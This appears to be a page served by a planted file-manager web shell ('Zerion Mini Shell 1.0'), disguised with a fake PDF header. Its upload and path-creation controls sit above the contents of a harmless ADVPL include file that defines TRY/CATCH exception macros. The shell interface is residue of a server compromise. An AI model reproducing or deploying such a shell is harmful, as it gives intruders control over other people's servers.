%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/komfo908/public_ftp/Protheus/Protheus/include/
Upload File :
Create Path :
Current File : /home/komfo908/public_ftp/Protheus/Protheus/include/tryexception.ch

#IFNDEF _TRYEXCEPTION_CH
	
	#DEFINE _TRYEXCEPTION_CH

	/*/
		Autor:		Marinaldo de Jesus
		Data:		07/10/2009
		Descricao:	Comandos para Simular TRY & CATCH EXCEPTION em ADVPL

	/*/
	#DEFINE TRY_ELEMENTS			3

	#DEFINE TRY_BLOCK				1
	#DEFINE TRY_INDEX				2
	#DEFINE TRY_OBJERROR			3

	#XTRANSLATE	TRY EXCEPTION	=> TRYEXCEPTION
	#XTRANSLATE	CATCH EXCEPTION	=> CATCHEXCEPTION
	#XTRANSLATE	END TRY			=> ENDEXCEPTION
	#XTRANSLATE	ENDTRY			=> ENDEXCEPTION
	#XTRANSLATE	END EXCEPTION	=> ENDEXCEPTION

	#XCOMMAND TRYEXCEPTION  	=> ;
		IF( !( Type( "aTryException" ) == "A" ) , _SetOwnerPrvt( "aTryException" , \{\} ) , NIL ) ;;
		IF( !( Type( "nTryException" ) == "N" ) , _SetOwnerPrvt( "nTryException" , 0  ) , NIL ) ;;
		aAdd( aTryException , Array(TRY_ELEMENTS) ) ;;
		++nTryException ;;
		aTryException\[nTryException\]\[TRY_BLOCK\]	:= ErrorBlock( \{ \|oError\| BREAK( @oError ) \} ) ;;
		aTryException\[nTryException\]\[TRY_INDEX\]	:= nTryException ;;
		ErrorBlock( \{ \|oError\| aTryException\[nTryException\]\[TRY_OBJERROR\] := oError , BREAK( @oError ) \} ) ;;
		BEGIN SEQUENCE ;;
	
	#XCOMMAND TRYEXCEPTION USING <bError> [PARAMETERS <aParameters>] => ;
		IF( !( Type( "aTryException" ) == "A" ) , _SetOwnerPrvt( "aTryException" , \{\} ) , NIL ) ;;
		IF( !( Type( "nTryException" ) == "N" ) , _SetOwnerPrvt( "nTryException" , 0 ) , NIL ) ;;
		aAdd( aTryException , Array( TRY_ELEMENTS ) ) ;;
		++nTryException ;;
		aTryException\[nTryException\]\[TRY_BLOCK\]	:= ErrorBlock( \{ \|oError\| BREAK( @oError ) \} ) ;;
		aTryException\[nTryException\]\[TRY_INDEX\]	:= nTryException ;;
		ErrorBlock( \{ \|oError\| aTryException\[nTryException\]\[TRY_OBJERROR\] := oError , Eval( <bError> , @oError , [@<aParameters>] ) \} ) ;;
		BEGIN SEQUENCE ;;

	#XCOMMAND CATCHEXCEPTION	=>  RECOVER ;;
	
	#XCOMMAND CATCHEXCEPTION USING <oException> => ;
		RECOVER ;;
		<oException>	:= aTryException\[nTryException\]\[TRY_OBJERROR\] ;;
	
	#XCOMMAND ENDEXCEPTION		=> ;
		END SEQUENCE ;;
		IF ( ( Type( "aTryException" ) == "A" ) .and. ( Type( "nTryException" ) == "N" ) ) ;;
			IF ( ValType(aTryException\[nTryException\]\[TRY_BLOCK\]) == "B" ) ;;
				ErrorBlock( aTryException\[nTryException\]\[TRY_BLOCK\] ) ;;
				aDel( aTryException , nTryException ) ;;
				aSize( aTryException , --nTryException ) ;;
			ENDIF ;;
		ENDIF ;;
		
#ENDIF

Zerion Mini Shell 1.0